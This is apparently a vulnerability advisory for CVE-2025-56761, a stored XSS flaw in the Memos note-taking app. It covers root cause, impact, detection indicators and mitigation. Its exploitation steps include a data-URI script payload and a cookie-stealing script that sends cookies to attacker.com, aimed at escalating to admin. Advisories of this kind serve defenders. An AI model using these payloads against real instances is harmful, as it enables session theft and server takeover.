CVE-2025-56761: 
NixOS vulnerability analysis and mitigation

CVE-2025-56761 is a Stored Cross-Site Scripting (XSS) vulnerability in Memos version 0.22.0, an open-source note-taking application built with Go and React. The flaw exists in the upload attachment and user avatar features, where the application fails to validate the content type of uploaded data and serves it back without sanitization. An authenticated attacker can exploit this to inject malicious JavaScript that executes in an administrator's browser, enabling privilege escalation. The vulnerability was discovered by Sonar researchers, reported to the Memos maintainers on February 11, 2025, and publicly disclosed on September 2–3, 2025 after no response was received within the 90-day disclosure window. It carries a CVSS v3.1 base score of 5.4 (Medium) (Github Advisory, SonarSource Blog).

The vulnerability is classified as CWE-79 (Improper Neutralization of Input During Web Page Generation) and manifests in two distinct attack surfaces. First, in the file attachment upload path (/memos.api.v1.ResourceService/CreateResource), the server stores and re-serves user-uploaded files without verifying their MIME type, allowing an attacker to upload an HTML file containing JavaScript that executes when viewed in a browser. Second, in the user avatar feature (UpdateUser endpoint), Memos accepts a data: URI for the avatar URL and later serves it via GetUserAvatarBinary, which uses the extractImageInfo function to parse the user-supplied content type directly from the data URI — with no validation that the content is a legitimate image. An attacker can supply text/html as the content type with a base64-encoded malicious script payload, which is then served with that content type to any user who views the avatar. Both vectors require the attacker to be authenticated but impose no further privilege requirements (SonarSource Blog, Github Advisory).

Successful exploitation allows a low-privileged authenticated attacker to inject persistent JavaScript that executes in the context of any user — particularly administrators — who views the malicious attachment or avatar. When triggered by an admin, the XSS payload can steal session tokens, perform unauthorized administrative actions (such as changing workspace storage settings), or chain with the companion path traversal vulnerability (CVE-2025-56760) to achieve full remote code execution and complete server compromise. Confidentiality and integrity are both impacted through potential session hijacking and unauthorized configuration changes, though availability is not directly affected (SonarSource Blog).

A proof-of-concept technical write-up is publicly available from SonarSource, which details the exploitation mechanics of both XSS vectors. There is no evidence of active in-the-wild exploitation at this time, and no threat actor attribution has been reported. The vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog. The EPSS score is approximately 0.027%–0.058%, indicating a low near-term exploitation probability (SonarSource Blog, Github Advisory).

1. Authenticate: Log in to the target Memos instance with any valid user account (no elevated privileges required).
2. Avatar-based XSS vector: Call the UpdateUser API endpoint with the avatar_url field set to a malicious data URI, e.g., data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg== (base64-encoded <script>alert(1)</script>). This stores the payload server-side.
3. Attachment-based XSS vector (alternative): Upload a file with HTML/JavaScript content via the CreateResource endpoint, setting the filename and content to an HTML file containing a malicious script (e.g., <script>document.location='https://attacker.com/?c='+document.cookie</script>).
4. Trigger execution: Wait for or socially engineer an administrator to view the malicious avatar or attachment. When the admin's browser requests the resource, Memos serves it with the attacker-controlled Content-Type: text/html, causing the browser to execute the embedded script.
5. Escalate privileges: Use the XSS payload to exfiltrate the admin's session cookie or JWT token, or directly invoke admin API endpoints (e.g., change workspace storage to LOCAL) to enable exploitation of the companion path traversal vulnerability (CVE-2025-56760) for full server compromise (SonarSource Blog).

• Network: Outbound HTTP requests from the Memos server or admin browser to unexpected external domains shortly after an admin views a user's avatar or attachment; unusual API calls to UpdateUser with avatar_url fields containing data:text/html or non-image MIME types.
• Logs: API access logs showing UpdateUser requests with avatar_url values containing data:text/html;base64,...; requests to /file/users/{id}/avatar or resource binary endpoints returning Content-Type: text/html responses.
• File System: Uploaded files in the Memos assets directory with .html extensions or HTML content despite non-HTML filenames; unexpected files written outside the assets/ directory (indicative of chained CVE-2025-56760 exploitation).
• Application Behavior: Admin accounts performing unexpected configuration changes (e.g., switching workspace storage to LOCAL) without corresponding admin activity; new user accounts created or privilege changes made without admin initiation.

As of the time of disclosure, the Memos maintainers had not responded to the responsible disclosure report and no official patch was released for version 0.22.0. The GitHub Advisory notes that no patched version is available for the affected <= 0.22.0 range. Sonar strongly recommends restricting Memos access to trusted, authenticated users only as an immediate mitigation. Additional defensive measures include implementing a strict Content Security Policy (CSP) to limit script execution, enforcing server-side MIME type validation for all uploads, and monitoring for anomalous API usage patterns. Organizations should evaluate transitioning to a more actively maintained platform if a patch is not forthcoming (SonarSource Blog, Github Advisory).

Sonar's vulnerability research team (Yaniv Nizry) published a detailed technical blog post on August 6, 2025, highlighting the discovery as a demonstration of SonarQube's Go static analysis capabilities applied to real-world open-source projects. The post noted that Memos maintainers did not respond to multiple disclosure attempts over 90 days, which Sonar cited as a concern for the open-source security community. The disclosure was covered by standard vulnerability tracking feeds (NVD, ENISA EUVD, GitHub Advisory Database), but no significant broader media coverage or notable community debate was identified (SonarSource Blog).